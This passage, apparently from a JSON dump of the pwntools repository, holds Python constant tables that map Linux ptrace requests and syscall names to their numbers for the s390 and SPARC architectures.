Constant('PTRACE_EVENT_VFORK_DONE',5)\nPTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6)\nPT_TRACE_ME = Constant('PT_TRACE_ME',0)\nPT_READ_I = Constant('PT_READ_I',1)\nPT_READ_D = Constant('PT_READ_D',2)\nPT_READ_U = Constant('PT_READ_U',3)\nPT_WRITE_I = Constant('PT_WRITE_I',4)\nPT_WRITE_D = Constant('PT_WRITE_D',5)\nPT_WRITE_U = Constant('PT_WRITE_U',6)\nPT_CONTINUE = Constant('PT_CONTINUE',7)\nPT_KILL = Constant('PT_KILL',8)\nPT_STEP = Constant('PT_STEP',9)\nPT_ATTACH = Constant('PT_ATTACH',0x10)\nPT_DETACH = Constant('PT_DETACH',0x11)\nSYS_accept4 = Constant('SYS_accept4',364)\nSYS_access = Constant('SYS_access',33)\nSYS_acct = Constant('SYS_acct',51)\nSYS_add_key = Constant('SYS_add_key',278)\nSYS_adjtimex = Constant('SYS_adjtimex',124)\nSYS_afs_syscall = Constant('SYS_afs_syscall',137)\nSYS_alarm = Constant('SYS_alarm',27)\nSYS_bdflush = Constant('SYS_bdflush',134)\nSYS_bind = Constant('SYS_bind',361)\nSYS_bpf = Constant('SYS_bpf',351)\nSYS_brk = Constant('SYS_brk',45)\nSYS_capget = Constant('SYS_capget',184)\nSYS_capset = Constant('SYS_capset',185)\nSYS_chdir = Constant('SYS_chdir',12)\nSYS_chmod = Constant('SYS_chmod',15)\nSYS_chown = Constant('SYS_chown',212)\nSYS_chroot = Constant('SYS_chroot',61)\nSYS_clock_adjtime = Constant('SYS_clock_adjtime',337)\nSYS_clock_getres = Constant('SYS_clock_getres',(254+7))\nSYS_clock_gettime = Constant('SYS_clock_gettime',(254+6))\nSYS_clock_nanosleep = Constant('SYS_clock_nanosleep',(254+8))\nSYS_clock_settime = Constant('SYS_clock_settime',(254+5))\nSYS_clone = Constant('SYS_clone',120)\nSYS_clone3 = Constant('SYS_clone3',435)\nSYS_close = Constant('SYS_close',6)\nSYS_connect = Constant('SYS_connect',362)\nSYS_copy_file_range = Constant('SYS_copy_file_range',375)\nSYS_creat = Constant('SYS_creat',8)\nSYS_create_module = Constant('SYS_create_module',127)\nSYS_delete_module = Constant('SYS_delete_module',129)\nSYS_dup = Constant('SYS_dup',41)\nSYS_dup2 = Constant('SYS_dup2',63)\nSYS_dup3 = Constant('SYS_dup3',326)\nSYS_epoll_create = Constant('SYS_epoll_create',249)\nSYS_epoll_create1 = Constant('SYS_epoll_create1',327)\nSYS_epoll_ctl = Constant('SYS_epoll_ctl',250)\nSYS_epoll_pwait = Constant('SYS_epoll_pwait',312)\nSYS_epoll_wait = Constant('SYS_epoll_wait',251)\nSYS_eventfd = Constant('SYS_eventfd',318)\nSYS_eventfd2 = Constant('SYS_eventfd2',323)\nSYS_execve = Constant('SYS_execve',11)\nSYS_execveat = Constant('SYS_execveat',354)\nSYS_exit = Constant('SYS_exit',1)\nSYS_exit_group = Constant('SYS_exit_group',248)\nSYS_faccessat = Constant('SYS_faccessat',300)\nSYS_fadvise64 = Constant('SYS_fadvise64',253)\nSYS_fallocate = Constant('SYS_fallocate',314)\nSYS_fanotify_init = Constant('SYS_fanotify_init',332)\nSYS_fanotify_mark = Constant('SYS_fanotify_mark',333)\nSYS_fchdir = Constant('SYS_fchdir',133)\nSYS_fchmod = Constant('SYS_fchmod',94)\nSYS_fchmodat = Constant('SYS_fchmodat',299)\nSYS_fchown = Constant('SYS_fchown',207)\nSYS_fchownat = Constant('SYS_fchownat',291)\nSYS_fcntl = Constant('SYS_fcntl',55)\nSYS_fdatasync = Constant('SYS_fdatasync',148)\nSYS_fgetxattr = Constant('SYS_fgetxattr',229)\nSYS_finit_module = Constant('SYS_finit_module',344)\nSYS_flistxattr = Constant('SYS_flistxattr',232)\nSYS_flock = Constant('SYS_flock',143)\nSYS_fork = Constant('SYS_fork',2)\nSYS_fremovexattr = Constant('SYS_fremovexattr',235)\nSYS_fsconfig = Constant('SYS_fsconfig',431)\nSYS_fsetxattr = Constant('SYS_fsetxattr',226)\nSYS_fsmount = Constant('SYS_fsmount',432)\nSYS_fsopen = Constant('SYS_fsopen',430)\nSYS_fspick = Constant('SYS_fspick',433)\nSYS_fstat = Constant('SYS_fstat',108)\nSYS_fstatfs = Constant('SYS_fstatfs',100)\nSYS_fstatfs64 = Constant('SYS_fstatfs64',266)\nSYS_fsync = Constant('SYS_fsync',118)\nSYS_ftruncate = Constant('SYS_ftruncate',93)\nSYS_futex = Constant('SYS_futex',238)\nSYS_futimesat = Constant('SYS_futimesat',292)\nSYS_getcpu = Constant('SYS_getcpu',311)\nSYS_getcwd = Constant('SYS_getcwd',183)\nSYS_getdents = Constant('SYS_getdents',141)\nSYS_getdents64 = Constant('SYS_getdents64',220)\nSYS_getegid = Constant('SYS_getegid',202)\nSYS_geteuid = Constant('SYS_geteuid',201)\nSYS_getgid = Constant('SYS_getgid',200)\nSYS_getgroups = Constant('SYS_getgroups',205)\nSYS_getitimer = Constant('SYS_getitimer',105)\nSYS_get_kernel_syms = Constant('SYS_get_kernel_syms',130)\nSYS_get_mempolicy = Constant('SYS_get_mempolicy',269)\nSYS_getpeername = Constant('SYS_getpeername',368)\nSYS_getpgid = Constant('SYS_getpgid',132)\nSYS_getpgrp = Constant('SYS_getpgrp',65)\nSYS_getpid = Constant('SYS_getpid',20)\nSYS_getpmsg = Constant('SYS_getpmsg',188)\nSYS_getppid = Constant('SYS_getppid',64)\nSYS_getpriority = Constant('SYS_getpriority',96)\nSYS_getrandom = Constant('SYS_getrandom',349)\nSYS_getresgid = Constant('SYS_getresgid',211)\nSYS_getresuid = Constant('SYS_getresuid',209)\nSYS_getrlimit = Constant('SYS_getrlimit',191)\nSYS_get_robust_list = Constant('SYS_get_robust_list',305)\nSYS_getrusage = Constant('SYS_getrusage',77)\nSYS_getsid = Constant('SYS_getsid',147)\nSYS_getsockname = Constant('SYS_getsockname',367)\nSYS_getsockopt = Constant('SYS_getsockopt',365)\nSYS_gettid = Constant('SYS_gettid',236)\nSYS_gettimeofday = Constant('SYS_gettimeofday',78)\nSYS_getuid = Constant('SYS_getuid',199)\nSYS_getxattr = Constant('SYS_getxattr',227)\nSYS_idle = Constant('SYS_idle',112)\nSYS_init_module = Constant('SYS_init_module',128)\nSYS_inotify_add_watch = Constant('SYS_inotify_add_watch',285)\nSYS_inotify_init = Constant('SYS_inotify_init',284)\nSYS_inotify_init1 = Constant('SYS_inotify_init1',324)\nSYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',286)\nSYS_io_cancel = Constant('SYS_io_cancel',247)\nSYS_ioctl = Constant('SYS_ioctl',54)\nSYS_io_destroy = Constant('SYS_io_destroy',244)\nSYS_io_getevents = Constant('SYS_io_getevents',245)\nSYS_io_pgetevents = Constant('SYS_io_pgetevents',382)\nSYS_ioprio_get = Constant('SYS_ioprio_get',283)\nSYS_ioprio_set = Constant('SYS_ioprio_set',282)\nSYS_io_setup = Constant('SYS_io_setup',243)\nSYS_io_submit = Constant('SYS_io_submit',246)\nSYS_io_uring_enter = Constant('SYS_io_uring_enter',426)\nSYS_io_uring_register = Constant('SYS_io_uring_register',427)\nSYS_io_uring_setup = Constant('SYS_io_uring_setup',425)\nSYS_ipc = Constant('SYS_ipc',117)\nSYS_kcmp = Constant('SYS_kcmp',343)\nSYS_kexec_file_load = Constant('SYS_kexec_file_load',381)\nSYS_kexec_load = Constant('SYS_kexec_load',277)\nSYS_keyctl = Constant('SYS_keyctl',280)\nSYS_kill = Constant('SYS_kill',37)\nSYS_lchown = Constant('SYS_lchown',198)\nSYS_lgetxattr = Constant('SYS_lgetxattr',228)\nSYS_link = Constant('SYS_link',9)\nSYS_linkat = Constant('SYS_linkat',296)\nSYS_listen = Constant('SYS_listen',363)\nSYS_listxattr = Constant('SYS_listxattr',230)\nSYS_llistxattr = Constant('SYS_llistxattr',231)\nSYS_lookup_dcookie = Constant('SYS_lookup_dcookie',110)\nSYS_lremovexattr = Constant('SYS_lremovexattr',234)\nSYS_lseek = Constant('SYS_lseek',19)\nSYS_lsetxattr = Constant('SYS_lsetxattr',225)\nSYS_lstat = Constant('SYS_lstat',107)\nSYS_madvise = Constant('SYS_madvise',219)\nSYS_mbind = Constant('SYS_mbind',268)\nSYS_membarrier = Constant('SYS_membarrier',356)\nSYS_memfd_create = Constant('SYS_memfd_create',350)\nSYS_migrate_pages = Constant('SYS_migrate_pages',287)\nSYS_mincore = Constant('SYS_mincore',218)\nSYS_mkdir = Constant('SYS_mkdir',39)\nSYS_mkdirat = Constant('SYS_mkdirat',289)\nSYS_mknod = Constant('SYS_mknod',14)\nSYS_mknodat = Constant('SYS_mknodat',290)\nSYS_mlock = Constant('SYS_mlock',150)\nSYS_mlock2 = Constant('SYS_mlock2',374)\nSYS_mlockall = Constant('SYS_mlockall',152)\nSYS_mmap = Constant('SYS_mmap',90)\nSYS_mount = Constant('SYS_mount',21)\nSYS_move_mount = Constant('SYS_move_mount',429)\nSYS_move_pages = Constant('SYS_move_pages',310)\nSYS_mprotect = Constant('SYS_mprotect',125)\nSYS_mq_getsetattr = Constant('SYS_mq_getsetattr',276)\nSYS_mq_notify = Constant('SYS_mq_notify',275)\nSYS_mq_open = Constant('SYS_mq_open',271)\nSYS_mq_timedreceive = Constant('SYS_mq_timedreceive',274)\nSYS_mq_timedsend = Constant('SYS_mq_timedsend',273)\nSYS_mq_unlink = Constant('SYS_mq_unlink',272)\nSYS_mremap = Constant('SYS_mremap',163)\nSYS_msgctl = Constant('SYS_msgctl',402)\nSYS_msgget = Constant('SYS_msgget',399)\nSYS_msgrcv = Constant('SYS_msgrcv',401)\nSYS_msgsnd = Constant('SYS_msgsnd',400)\nSYS_msync = Constant('SYS_msync',144)\nSYS_munlock = Constant('SYS_munlock',151)\nSYS_munlockall = Constant('SYS_munlockall',153)\nSYS_munmap = Constant('SYS_munmap',91)\nSYS_name_to_handle_at = Constant('SYS_name_to_handle_at',335)\nSYS_nanosleep = Constant('SYS_nanosleep',162)\nSYS_newfstatat = Constant('SYS_newfstatat',293)\nSYS_nfsservctl = Constant('SYS_nfsservctl',169)\nSYS_nice = Constant('SYS_nice',34)\nSYS_open = Constant('SYS_open',5)\nSYS_openat = Constant('SYS_openat',288)\nSYS_openat2 = Constant('SYS_openat2',437)\nSYS_open_by_handle_at = Constant('SYS_open_by_handle_at',336)\nSYS_open_tree = Constant('SYS_open_tree',428)\nSYS_pause = Constant('SYS_pause',29)\nSYS_perf_event_open = Constant('SYS_perf_event_open',331)\nSYS_personality = Constant('SYS_personality',136)\nSYS_pidfd_getfd = Constant('SYS_pidfd_getfd',438)\nSYS_pidfd_open = Constant('SYS_pidfd_open',434)\nSYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',424)\nSYS_pipe = Constant('SYS_pipe',42)\nSYS_pipe2 = Constant('SYS_pipe2',325)\nSYS_pivot_root = Constant('SYS_pivot_root',217)\nSYS_pkey_alloc = Constant('SYS_pkey_alloc',385)\nSYS_pkey_free = Constant('SYS_pkey_free',386)\nSYS_pkey_mprotect = Constant('SYS_pkey_mprotect',384)\nSYS_poll = Constant('SYS_poll',168)\nSYS_ppoll = Constant('SYS_ppoll',302)\nSYS_prctl = Constant('SYS_prctl',172)\nSYS_pread64 = Constant('SYS_pread64',180)\nSYS_preadv = Constant('SYS_preadv',328)\nSYS_preadv2 = Constant('SYS_preadv2',376)\nSYS_prlimit64 = Constant('SYS_prlimit64',334)\nSYS_process_vm_readv = Constant('SYS_process_vm_readv',340)\nSYS_process_vm_writev = Constant('SYS_process_vm_writev',341)\nSYS_pselect6 = Constant('SYS_pselect6',301)\nSYS_ptrace = Constant('SYS_ptrace',26)\nSYS_putpmsg = Constant('SYS_putpmsg',189)\nSYS_pwrite64 = Constant('SYS_pwrite64',181)\nSYS_pwritev = Constant('SYS_pwritev',329)\nSYS_pwritev2 = Constant('SYS_pwritev2',377)\nSYS_query_module = Constant('SYS_query_module',167)\nSYS_quotactl = Constant('SYS_quotactl',131)\nSYS_read = Constant('SYS_read',3)\nSYS_readahead = Constant('SYS_readahead',222)\nSYS_readdir = Constant('SYS_readdir',89)\nSYS_readlink = Constant('SYS_readlink',85)\nSYS_readlinkat = Constant('SYS_readlinkat',298)\nSYS_readv = Constant('SYS_readv',145)\nSYS_reboot = Constant('SYS_reboot',88)\nSYS_recvfrom = Constant('SYS_recvfrom',371)\nSYS_recvmmsg = Constant('SYS_recvmmsg',357)\nSYS_recvmsg = Constant('SYS_recvmsg',372)\nSYS_remap_file_pages = Constant('SYS_remap_file_pages',267)\nSYS_removexattr = Constant('SYS_removexattr',233)\nSYS_rename = Constant('SYS_rename',38)\nSYS_renameat = Constant('SYS_renameat',295)\nSYS_renameat2 = Constant('SYS_renameat2',347)\nSYS_request_key = Constant('SYS_request_key',279)\nSYS_restart_syscall = Constant('SYS_restart_syscall',7)\nSYS_rmdir = Constant('SYS_rmdir',40)\nSYS_rseq = Constant('SYS_rseq',383)\nSYS_rt_sigaction = Constant('SYS_rt_sigaction',174)\nSYS_rt_sigpending = Constant('SYS_rt_sigpending',176)\nSYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',175)\nSYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',178)\nSYS_rt_sigreturn = Constant('SYS_rt_sigreturn',173)\nSYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',179)\nSYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',177)\nSYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',330)\nSYS_s390_guarded_storage = Constant('SYS_s390_guarded_storage',378)\nSYS_s390_pci_mmio_read = Constant('SYS_s390_pci_mmio_read',353)\nSYS_s390_pci_mmio_write = Constant('SYS_s390_pci_mmio_write',352)\nSYS_s390_runtime_instr = Constant('SYS_s390_runtime_instr',342)\nSYS_s390_sthyi = Constant('SYS_s390_sthyi',380)\nSYS_sched_getaffinity = Constant('SYS_sched_getaffinity',240)\nSYS_sched_getattr = Constant('SYS_sched_getattr',346)\nSYS_sched_getparam = Constant('SYS_sched_getparam',155)\nSYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',159)\nSYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',160)\nSYS_sched_getscheduler = Constant('SYS_sched_getscheduler',157)\nSYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',161)\nSYS_sched_setaffinity = Constant('SYS_sched_setaffinity',239)\nSYS_sched_setattr = Constant('SYS_sched_setattr',345)\nSYS_sched_setparam = Constant('SYS_sched_setparam',154)\nSYS_sched_setscheduler = Constant('SYS_sched_setscheduler',156)\nSYS_sched_yield = Constant('SYS_sched_yield',158)\nSYS_seccomp = Constant('SYS_seccomp',348)\nSYS_select = Constant('SYS_select',142)\nSYS_semctl = Constant('SYS_semctl',394)\nSYS_semget = Constant('SYS_semget',393)\nSYS_semtimedop = Constant('SYS_semtimedop',392)\nSYS_sendfile = Constant('SYS_sendfile',187)\nSYS_sendmmsg = Constant('SYS_sendmmsg',358)\nSYS_sendmsg = Constant('SYS_sendmsg',370)\nSYS_sendto = Constant('SYS_sendto',369)\nSYS_setdomainname = Constant('SYS_setdomainname',121)\nSYS_setfsgid = Constant('SYS_setfsgid',216)\nSYS_setfsuid = Constant('SYS_setfsuid',215)\nSYS_setgid = Constant('SYS_setgid',214)\nSYS_setgroups = Constant('SYS_setgroups',206)\nSYS_sethostname = Constant('SYS_sethostname',74)\nSYS_setitimer = Constant('SYS_setitimer',104)\nSYS_set_mempolicy = Constant('SYS_set_mempolicy',270)\nSYS_setns = Constant('SYS_setns',339)\nSYS_setpgid = Constant('SYS_setpgid',57)\nSYS_setpriority = Constant('SYS_setpriority',97)\nSYS_setregid = Constant('SYS_setregid',204)\nSYS_setresgid = Constant('SYS_setresgid',210)\nSYS_setresuid = Constant('SYS_setresuid',208)\nSYS_setreuid = Constant('SYS_setreuid',203)\nSYS_setrlimit = Constant('SYS_setrlimit',75)\nSYS_set_robust_list = Constant('SYS_set_robust_list',304)\nSYS_setsid = Constant('SYS_setsid',66)\nSYS_setsockopt = Constant('SYS_setsockopt',366)\nSYS_set_tid_address = Constant('SYS_set_tid_address',252)\nSYS_settimeofday = Constant('SYS_settimeofday',79)\nSYS_setuid = Constant('SYS_setuid',213)\nSYS_setxattr = Constant('SYS_setxattr',224)\nSYS_shmat = Constant('SYS_shmat',397)\nSYS_shmctl = Constant('SYS_shmctl',396)\nSYS_shmdt = Constant('SYS_shmdt',398)\nSYS_shmget = Constant('SYS_shmget',395)\nSYS_shutdown = Constant('SYS_shutdown',373)\nSYS_sigaction = Constant('SYS_sigaction',67)\nSYS_sigaltstack = Constant('SYS_sigaltstack',186)\nSYS_signal = Constant('SYS_signal',48)\nSYS_signalfd = Constant('SYS_signalfd',316)\nSYS_signalfd4 = Constant('SYS_signalfd4',322)\nSYS_sigpending = Constant('SYS_sigpending',73)\nSYS_sigprocmask = Constant('SYS_sigprocmask',126)\nSYS_sigreturn = Constant('SYS_sigreturn',119)\nSYS_sigsuspend = Constant('SYS_sigsuspend',72)\nSYS_socket = Constant('SYS_socket',359)\nSYS_socketcall = Constant('SYS_socketcall',102)\nSYS_socketpair = Constant('SYS_socketpair',360)\nSYS_splice = Constant('SYS_splice',306)\nSYS_stat = Constant('SYS_stat',106)\nSYS_statfs = Constant('SYS_statfs',99)\nSYS_statfs64 = Constant('SYS_statfs64',265)\nSYS_statx = Constant('SYS_statx',379)\nSYS_swapoff = Constant('SYS_swapoff',115)\nSYS_swapon = Constant('SYS_swapon',87)\nSYS_symlink = Constant('SYS_symlink',83)\nSYS_symlinkat = Constant('SYS_symlinkat',297)\nSYS_sync = Constant('SYS_sync',36)\nSYS_sync_file_range = Constant('SYS_sync_file_range',307)\nSYS_syncfs = Constant('SYS_syncfs',338)\nSYS__sysctl = Constant('SYS__sysctl',149)\nSYS_sysfs = Constant('SYS_sysfs',135)\nSYS_sysinfo = Constant('SYS_sysinfo',116)\nSYS_syslog = Constant('SYS_syslog',103)\nSYS_tee = Constant('SYS_tee',308)\nSYS_tgkill = Constant('SYS_tgkill',241)\nSYS_timer_create = Constant('SYS_timer_create',254)\nSYS_timer_delete = Constant('SYS_timer_delete',(254+4))\nSYS_timerfd = Constant('SYS_timerfd',317)\nSYS_timerfd_create = Constant('SYS_timerfd_create',319)\nSYS_timerfd_gettime = Constant('SYS_timerfd_gettime',321)\nSYS_timerfd_settime = Constant('SYS_timerfd_settime',320)\nSYS_timer_getoverrun = Constant('SYS_timer_getoverrun',(254+3))\nSYS_timer_gettime = Constant('SYS_timer_gettime',(254+2))\nSYS_timer_settime = Constant('SYS_timer_settime',(254+1))\nSYS_times = Constant('SYS_times',43)\nSYS_tkill = Constant('SYS_tkill',237)\nSYS_truncate = Constant('SYS_truncate',92)\nSYS_umask = Constant('SYS_umask',60)\nSYS_umount = Constant('SYS_umount',22)\nSYS_umount2 = Constant('SYS_umount2',52)\nSYS_uname = Constant('SYS_uname',122)\nSYS_unlink = Constant('SYS_unlink',10)\nSYS_unlinkat = Constant('SYS_unlinkat',294)\nSYS_unshare = Constant('SYS_unshare',303)\nSYS_uselib = Constant('SYS_uselib',86)\nSYS_userfaultfd = Constant('SYS_userfaultfd',355)\nSYS_ustat = Constant('SYS_ustat',62)\nSYS_utime = Constant('SYS_utime',30)\nSYS_utimensat = Constant('SYS_utimensat',315)\nSYS_utimes = Constant('SYS_utimes',313)\nSYS_vfork = Constant('SYS_vfork',190)\nSYS_vhangup = Constant('SYS_vhangup',111)\nSYS_vmsplice = Constant('SYS_vmsplice',309)\nSYS_wait4 = Constant('SYS_wait4',114)\nSYS_waitid = Constant('SYS_waitid',281)\nSYS_write = Constant('SYS_write',4)\nSYS_writev = Constant('SYS_writev',146)\n"
  },
  {
    "path": "pwnlib/constants/linux/sparc.py",
    "content": "from pwnlib.constants.constant import Constant\n__NR_exit = Constant('__NR_exit',1)\n__NR_fork = Constant('__NR_fork',2)\n__NR_read = Constant('__NR_read',3)\n__NR_write = Constant('__NR_write',4)\n__NR_open = Constant('__NR_open',5)\n__NR_close = Constant('__NR_close',6)\n__NR_wait4 = Constant('__NR_wait4',7)\n__NR_creat = Constant('__NR_creat',8)\n__NR_link = Constant('__NR_link',9)\n__NR_unlink = Constant('__NR_unlink',10)\n__NR_execv = Constant('__NR_execv',11)\n__NR_chdir = Constant('__NR_chdir',12)\n__NR_chown = Constant('__NR_chown',13)\n__NR_mknod = Constant('__NR_mknod',14)\n__NR_chmod = Constant('__NR_chmod',15)\n__NR_lchown = Constant('__NR_lchown',16)\n__NR_brk = Constant('__NR_brk',17)\n__NR_perfctr = Constant('__NR_perfctr',18)\n__NR_lseek = Constant('__NR_lseek',19)\n__NR_getpid = Constant('__NR_getpid',20)\n__NR_capget = Constant('__NR_capget',21)\n__NR_capset = Constant('__NR_capset',22)\n__NR_setuid = Constant('__NR_setuid',23)\n__NR_getuid = Constant('__NR_getuid',24)\n__NR_ptrace = Constant('__NR_ptrace',26)\n__NR_alarm = Constant('__NR_alarm',27)\n__NR_sigaltstack = Constant('__NR_sigaltstack',28)\n__NR_pause = Constant('__NR_pause',29)\n__NR_utime = Constant('__NR_utime',30)\n__NR_lchown32 = Constant('__NR_lchown32',31)\n__NR_fchown32 = Constant('__NR_fchown32',32)\n__NR_access = Constant('__NR_access',33)\n__NR_nice = Constant('__NR_nice',34)\n__NR_chown32 = Constant('__NR_chown32',35)\n__NR_sync = Constant('__NR_sync',36)\n__NR_kill = Constant('__NR_kill',37)\n__NR_stat = Constant('__NR_stat',38)\n__NR_sendfile = Constant('__NR_sendfile',39)\n__NR_lstat = Constant('__NR_lstat',40)\n__NR_dup = Constant('__NR_dup',41)\n__NR_pipe = Constant('__NR_pipe',42)\n__NR_times = Constant('__NR_times',43)\n__NR_getuid32 = Constant('__NR_getuid32',44)\n__NR_umount2 = Constant('__NR_umount2',45)\n__NR_setgid = Constant('__NR_setgid',46)\n__NR_getgid = Constant('__NR_getgid',47)\n__NR_signal = Constant('__NR_signal',48)\n__NR_geteuid = Constant('__NR_geteuid',49)\n__NR_getegid = Constant('__NR_getegid',50)\n__NR_acct = Constant('__NR_acct',51)\n__NR_getgid32 = Constant('__NR_getgid32',53)\n__NR_ioctl = Constant('__NR_ioctl',54)\n__NR_reboot = Constant('__NR_reboot',55)\n__NR_mmap2 = Constant('__NR_mmap2',56)\n__NR_symlink = Constant('__NR_symlink',57)\n__NR_readlink = Constant('__NR_readlink',58)\n__NR_execve = Constant('__NR_execve',59)\n__NR_umask = Constant('__NR_umask',60)\n__NR_chroot = Constant('__NR_chroot',61)\n__NR_fstat = Constant('__NR_fstat',62)\n__NR_fstat64 = Constant('__NR_fstat64',63)\n__NR_getpagesize = Constant('__NR_getpagesize',64)\n__NR_msync = Constant('__NR_msync',65)\n__NR_vfork = Constant('__NR_vfork',66)\n__NR_pread = Constant('__NR_pread',67)\n__NR_pwrite = Constant('__NR_pwrite',68)\n__NR_geteuid32 = Constant('__NR_geteuid32',69)\n__NR_getegid32 = Constant('__NR_getegid32',70)\n__NR_mmap = Constant('__NR_mmap',71)\n__NR_setreuid32 = Constant('__NR_setreuid32',72)\n__NR_munmap = Constant('__NR_munmap',73)\n__NR_mprotect = Constant('__NR_mprotect',74)\n__NR_madvise = Constant('__NR_madvise',75)\n__NR_vhangup = Constant('__NR_vhangup',76)\n__NR_truncate64 = Constant('__NR_truncate64',77)\n__NR_mincore = Constant('__NR_mincore',78)\n__NR_getgroups = Constant('__NR_getgroups',79)\n__NR_setgroups = Constant('__NR_setgroups',80)\n__NR_getpgrp = Constant('__NR_getpgrp',81)\n__NR_setgroups32 = Constant('__NR_setgroups32',82)\n__NR_setitimer = Constant('__NR_setitimer',83)\n__NR_ftruncate64 = Constant('__NR_ftruncate64',84)\n__NR_swapon = Constant('__NR_swapon',85)\n__NR_getitimer = Constant('__NR_getitimer',86)\n__NR_setuid32 = Constant('__NR_setuid32',87)\n__NR_sethostname = Constant('__NR_sethostname',88)\n__NR_setgid32 = Constant('__NR_setgid32',89)\n__NR_dup2 = Constant('__NR_dup2',90)\n__NR_setfsuid32 = Constant('__NR_setfsuid32',91)\n__NR_fcntl = Constant('__NR_fcntl',92)\n__NR_select = Constant('__NR_select',93)\n__NR_setfsgid32 = Constant('__NR_setfsgid32',94)\n__NR_fsync = Constant('__NR_fsync',95)\n__NR_setpriority = Constant('__NR_setpriority',96)\n__NR_socket = Constant('__NR_socket',97)\n__NR_connect = Constant('__NR_connect',98)\n__NR_accept = Constant('__NR_accept',99)\n__NR_getpriority = Constant('__NR_getpriority',100)\n__NR_rt_sigreturn = Constant('__NR_rt_sigreturn',101)\n__NR_rt_sigaction = Constant('__NR_rt_sigaction',102)\n__NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',103)\n__NR_rt_sigpending = Constant('__NR_rt_sigpending',104)\n__NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',105)\n__NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',106)\n__NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',107)\n__NR_setresuid32 = Constant('__NR_setresuid32',108)\n__NR_getresuid32 = Constant('__NR_getresuid32',109)\n__NR_setresgid32 = Constant('__NR_setresgid32',110)\n__NR_getresgid32 = Constant('__NR_getresgid32',111)\n__NR_setregid32 = Constant('__NR_setregid32',112)\n__NR_recvmsg = Constant('__NR_recvmsg',113)\n__NR_sendmsg = Constant('__NR_sendmsg',114)\n__NR_getgroups32 = Constant('__NR_getgroups32',115)\n__NR_gettimeofday = Constant('__NR_gettimeofday',116)\n__NR_getrusage = Constant('__NR_getrusage',117)\n__NR_getsockopt = Constant('__NR_getsockopt',118)\n__NR_getcwd = Constant('__NR_getcwd',119)\n__NR_readv = Constant('__NR_readv',120)\n__NR_writev = Constant('__NR_writev',121)\n__NR_settimeofday = Constant('__NR_settimeofday',122)\n__NR_fchown = Constant('__NR_fchown',123)\n__NR_fchmod = Constant('__NR_fchmod',124)\n__NR_recvfrom = Constant('__NR_recvfrom',125)\n__NR_setreuid = Constant('__NR_setreuid',126)\n__NR_setregid = Constant('__NR_setregid',127)\n__NR_rename = Constant('__NR_rename',128)\n__NR_truncate = Constant('__NR_truncate',129)\n__NR_ftruncate = Constant('__NR_ftruncate',130)\n__NR_flock = Constant('__NR_flock',131)\n__NR_lstat64 = Constant('__NR_lstat64',132)\n__NR_sendto = Constant('__NR_sendto',133)\n__NR_shutdown = Constant('__NR_shutdown',134)\n__NR_socketpair = Constant('__NR_socketpair',135)\n__NR_mkdir = Constant('__NR_mkdir',136)\n__NR_rmdir = Constant('__NR_rmdir',137)\n__NR_utimes = Constant('__NR_utimes',138)\n__NR_stat64 = Constant('__NR_stat64',139)\n__NR_sendfile64 = Constant('__NR_sendfile64',140)\n__NR_getpeername = Constant('__NR_getpeername',141)\n__NR_futex = Constant('__NR_futex',142)\n__NR_gettid = Constant('__NR_gettid',143)\n__NR_getrlimit = Constant('__NR_getrlimit',144)\n__NR_setrlimit = Constant('__NR_setrlimit',145)\n__NR_pivot_root = Constant('__NR_pivot_root',146)\n__NR_prctl = Constant('__NR_prctl',147)\n__NR_pciconfig_read = Constant('__NR_pciconfig_read',148)\n__NR_pciconfig_write = Constant('__NR_pciconfig_write',149)\n__NR_getsockname = Constant('__NR_getsockname',150)\n__NR_poll = Constant('__NR_poll',153)\n__NR_getdents64 = Constant('__NR_getdents64',154)\n__NR_fcntl64 = Constant('__NR_fcntl64',155)\n__NR_statfs = Constant('__NR_statfs',157)\n__NR_fstatfs = Constant('__NR_fstatfs',158)\n__NR_umount = Constant('__NR_umount',159)\n__NR_sched_set_affinity = Constant('__NR_sched_set_affinity',160)\n__NR_sched_get_affinity = Constant('__NR_sched_get_affinity',161)\n__NR_getdomainname = Constant('__NR_getdomainname',162)\n__NR_setdomainname = Constant('__NR_setdomainname',163)\n__NR_quotactl = Constant('__NR_quotactl',165)\n__NR_set_tid_address = Constant('__NR_set_tid_address',166)\n__NR_mount = Constant('__NR_mount',167)\n__NR_ustat = Constant('__NR_ustat',168)\n__NR_setxattr = Constant('__NR_setxattr',169)\n__NR_lsetxattr = Constant('__NR_lsetxattr',170)\n__NR_fsetxattr = Constant('__NR_fsetxattr',171)\n__NR_getxattr = Constant('__NR_getxattr',172)\n__NR_lgetxattr = Constant('__NR_lgetxattr',173)\n__NR_getdents = Constant('__NR_getdents',174)\n__NR_setsid = Constant('__NR_setsid',175)\n__NR_fchdir = Constant('__NR_fchdir',176)\n__NR_fgetxattr = Constant('__NR_fgetxattr',177)\n__NR_listxattr = Constant('__NR_listxattr',178)\n__NR_llistxattr = Constant('__NR_llistxattr',179)\n__NR_flistxattr = Constant('__NR_flistxattr',180)\n__NR_removexattr = Constant('__NR_removexattr',181)\n__NR_lremovexattr = Constant('__NR_lremovexattr',182)\n__NR_sigpending = Constant('__NR_sigpending',183)\n__NR_query_module = Constant('__NR_query_module',184)\n__NR_setpgid = Constant('__NR_setpgid',185)\n__NR_fremovexattr = Constant('__NR_fremovexattr',186)\n__NR_tkill = Constant('__NR_tkill',187)\n__NR_exit_group = Constant('__NR_exit_group',188)\n__NR_uname = Constant('__NR_uname',189)\n__NR_init_module = Constant('__NR_init_module',190)\n__NR_personality = Constant('__NR_personality',191)\n__NR_remap_file_pages = Constant('__NR_remap_file_pages',192)\n__NR_epoll_create = Constant('__NR_epoll_create',193)\n__NR_epoll_ctl = Constant('__NR_epoll_ctl',194)\n__NR_epoll_wait = Constant('__NR_epoll_wait',195)\n__NR_getppid = Constant('__NR_getppid',197)\n__NR_sigaction = Constant('__NR_sigaction',198)\n__NR_sgetmask 